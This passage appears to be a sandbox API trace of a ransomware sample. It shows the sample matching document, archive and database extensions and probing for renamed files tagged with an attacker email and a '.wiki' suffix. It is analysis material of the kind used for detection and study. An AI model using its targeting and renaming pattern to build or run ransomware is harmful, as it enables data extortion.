(lpString1=".ppt", lpString2=".ttf") returned -1 [0148.108] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.108] lstrlenW (lpString=".zip") returned 4 [0148.108] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0148.108] lstrlenW (lpString=".rar") returned 4 [0148.108] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0148.108] lstrlenW (lpString=".bz2") returned 4 [0148.108] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0148.108] lstrlenW (lpString=".7z") returned 3 [0148.108] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0148.108] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.108] lstrlenW (lpString=".dbf") returned 4 [0148.109] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.109] lstrlenW (lpString=".1cd") returned 4 [0148.109] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.109] lstrlenW (lpString=".jpg") returned 4 [0148.109] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.109] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.109] lstrlenW (lpString=".doc") returned 4 [0148.109] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString=".docx") returned 5 [0148.109] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0148.109] lstrlenW (lpString=".pdf") returned 4 [0148.109] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString=".xls") returned 4 [0148.109] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0148.109] lstrlenW (lpString=".xlsx") returned 5 [0148.109] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0148.109] lstrlenW (lpString=".ppt") returned 4 [0148.109] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.109] lstrlenW (lpString=".zip") returned 4 [0148.109] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0148.109] lstrlenW (lpString=".rar") returned 4 [0148.109] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString=".bz2") returned 4 [0148.109] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0148.109] lstrlenW (lpString=".7z") returned 3 [0148.109] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0148.109] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.109] lstrlenW (lpString=".dbf") returned 4 [0148.110] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0148.110] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.110] lstrlenW (lpString=".1cd") returned 4 [0148.110] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0148.110] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0148.110] lstrlenW (lpString=".jpg") returned 4 [0148.110] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0148.110] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.110] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0148.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.110] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=3584) returned 1 [0148.110] CloseHandle (hObject=0x1cc) returned 1 [0148.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0148.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.111] lstrlenW (lpString=".doc") returned 4 [0148.111] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.111] lstrlenW (lpString=".docx") returned 5 [0148.111] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.111] lstrlenW (lpString=".pdf") returned 4 [0148.111] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.111] lstrlenW (lpString=".xls") returned 4 [0148.111] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.111] lstrlenW (lpString=".xlsx") returned 5 [0148.111] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.111] lstrlenW (lpString=".ppt") returned 4 [0148.111] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.111] lstrlenW (lpString=".zip") returned 4 [0148.111] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.111] lstrlenW (lpString=".rar") returned 4 [0148.111] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.111] lstrlenW (lpString=".bz2") returned 4 [0148.111] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.111] lstrlenW (lpString=".7z") returned 3 [0148.111] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.111] lstrlenW (lpString=".dbf") returned 4 [0148.111] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.111] lstrlenW (lpString=".1cd") returned 4 [0148.111] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.111] lstrlenW (lpString=".jpg") returned 4 [0148.111] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.112] lstrlenW (lpString=".doc") returned 4 [0148.112] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.112] lstrlenW (lpString=".docx") returned 5 [0148.112] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.112] lstrlenW (lpString=".pdf") returned 4 [0148.112] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.112] lstrlenW (lpString=".xls") returned 4 [0148.112] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.112] lstrlenW (lpString=".xlsx") returned 5 [0148.112] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.112] lstrlenW (lpString=".ppt") returned 4 [0148.112] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.112] lstrlenW (lpString=".zip") returned 4 [0148.112] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.112] lstrlenW (lpString=".rar") returned 4 [0148.112] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.112] lstrlenW (lpString=".bz2") returned 4 [0148.112] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.112] lstrlenW (lpString=".7z") returned 3 [0148.112] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.112] lstrlenW (lpString=".dbf") returned 4 [0148.112] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.112] lstrlenW (lpString=".1cd") returned 4 [0148.112] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0148.112] lstrlenW (lpString=".jpg") returned 4 [0148.112] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.113] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.113] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0148.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.113] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=3584) returned 1 [0148.113] CloseHandle (hObject=0x1cc) returned 1 [0148.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0148.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.113] lstrlenW (lpString=".doc") returned 4 [0148.113] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.113] lstrlenW (lpString=".docx") returned 5 [0148.113] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.113] lstrlenW (lpString=".pdf") returned 4 [0148.113] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.113] lstrlenW (lpString=".xls") returned 4 [0148.113] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.113] lstrlenW (lpString=".xlsx") returned 5 [0148.113] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.114] lstrlenW (lpString=".ppt") returned 4 [0148.114] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.114] lstrlenW (lpString=".zip") returned 4 [0148.114] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.114] lstrlenW (lpString=".rar") returned 4 [0148.114] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.114] lstrlenW (lpString=".bz2") returned 4 [0148.114] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.114] lstrlenW (lpString=".7z") returned 3 [0148.114] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.114] lstrlenW (lpString=".dbf") returned 4 [0148.114] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.114] lstrlenW (lpString=".1cd") returned 4 [0148.114] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.114] lstrlenW (lpString=".jpg") returned 4 [0148.114] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.114] lstrlenW (lpString=".doc") returned 4 [0148.114] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.114] lstrlenW (lpString=".docx") returned 5 [0148.114] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.114] lstrlenW (lpString=".pdf") returned 4 [0148.114] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.114] lstrlenW (lpString=".xls") returned 4 [0148.114] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.114] lstrlenW (lpString=".xlsx") returned 5 [0148.114] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.115] lstrlenW (lpString=".ppt") returned 4 [0148.115] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.115] lstrlenW (lpString=".zip") returned 4 [0148.115] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.115] lstrlenW (lpString=".rar") returned 4 [0148.115] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.115] lstrlenW (lpString=".bz2") returned 4 [0148.115] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.115] lstrlenW (lpString=".7z") returned 3 [0148.115] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.115] lstrlenW (lpString=".dbf") returned 4 [0148.115] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.115] lstrlenW (lpString=".1cd") returned 4 [0148.115] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0148.115] lstrlenW (lpString=".jpg") returned 4 [0148.115] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.115] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.115] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0148.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0148.185] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=4096) returned 1 [0148.185] CloseHandle (hObject=0x1a8) returned 1 [0148.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0148.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.186] lstrlenW (lpString=".doc") returned 4 [0148.186] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.186] lstrlenW (lpString=".docx") returned 5 [0148.186] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.186] lstrlenW (lpString=".pdf") returned 4 [0148.186] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.186] lstrlenW (lpString=".xls") returned 4 [0148.186] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.186] lstrlenW (lpString=".xlsx") returned 5 [0148.186] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.186] lstrlenW (lpString=".ppt") returned 4 [0148.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.186] lstrlenW (lpString=".zip") returned 4 [0148.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.186] lstrlenW (lpString=".rar") returned 4 [0148.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.186] lstrlenW (lpString=".bz2") returned 4 [0148.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.186] lstrlenW (lpString=".7z") returned 3 [0148.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.186] lstrlenW (lpString=".dbf") returned 4 [0148.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.187] lstrlenW (lpString=".1cd") returned 4 [0148.187] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.187] lstrlenW (lpString=".jpg") returned 4 [0148.187] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.187] lstrlenW (lpString=".doc") returned 4 [0148.187] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.187] lstrlenW (lpString=".docx") returned 5 [0148.187] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.187] lstrlenW (lpString=".pdf") returned 4 [0148.187] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.187] lstrlenW (lpString=".xls") returned 4 [0148.187] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.187] lstrlenW (lpString=".xlsx") returned 5 [0148.187] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.187] lstrlenW (lpString=".ppt") returned 4 [0148.187] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.187] lstrlenW (lpString=".zip") returned 4 [0148.187] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.187] lstrlenW (lpString=".rar") returned 4 [0148.187] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.187] lstrlenW (lpString=".bz2") returned 4 [0148.187] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.187] lstrlenW (lpString=".7z") returned 3 [0148.187] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.188] lstrlenW (lpString=".dbf") returned 4 [0148.188] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.188] lstrlenW (lpString=".1cd") returned 4 [0148.188] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0148.188] lstrlenW (lpString=".jpg") returned 4 [0148.188] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.188] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.188] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0148.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0148.838] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=4608) returned 1 [0148.838] CloseHandle (hObject=0x1d4) returned 1 [0148.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0148.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.839] lstrlenW (lpString=".doc") returned 4 [0148.839] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.839] lstrlenW (lpString=".docx") returned 5 [0148.839] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.839] lstrlenW (lpString=".pdf") returned 4 [0148.839] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.839] lstrlenW (lpString=".xls") returned 4 [0148.839] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.839] lstrlenW (lpString=".xlsx") returned 5 [0148.839] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.839] lstrlenW (lpString=".ppt") returned 4 [0148.839] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.839] lstrlenW (lpString=".zip") returned 4 [0148.839] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.839] lstrlenW (lpString=".rar") returned 4 [0148.839] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.839] lstrlenW (lpString=".bz2") returned 4 [0148.839] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.839] lstrlenW (lpString=".7z") returned 3 [0148.839] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.839] lstrlenW (lpString=".dbf") returned 4 [0148.839] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.839] lstrlenW (lpString=".1cd") returned 4 [0148.840] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.840] lstrlenW (lpString=".jpg") returned 4 [0148.840] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.840] lstrlenW (lpString=".doc") returned 4 [0148.840] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.840] lstrlenW (lpString=".docx") returned 5 [0148.840] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0148.840] lstrlenW (lpString=".pdf") returned 4 [0148.840] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.840] lstrlenW (lpString=".xls") returned 4 [0148.840] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.840] lstrlenW (lpString=".xlsx") returned 5 [0148.840] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0148.840] lstrlenW (lpString=".ppt") returned 4 [0148.840] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0148.840] lstrlenW (lpString=".zip") returned 4 [0148.840] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.840] lstrlenW (lpString=".rar") returned 4 [0148.840] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.840] lstrlenW 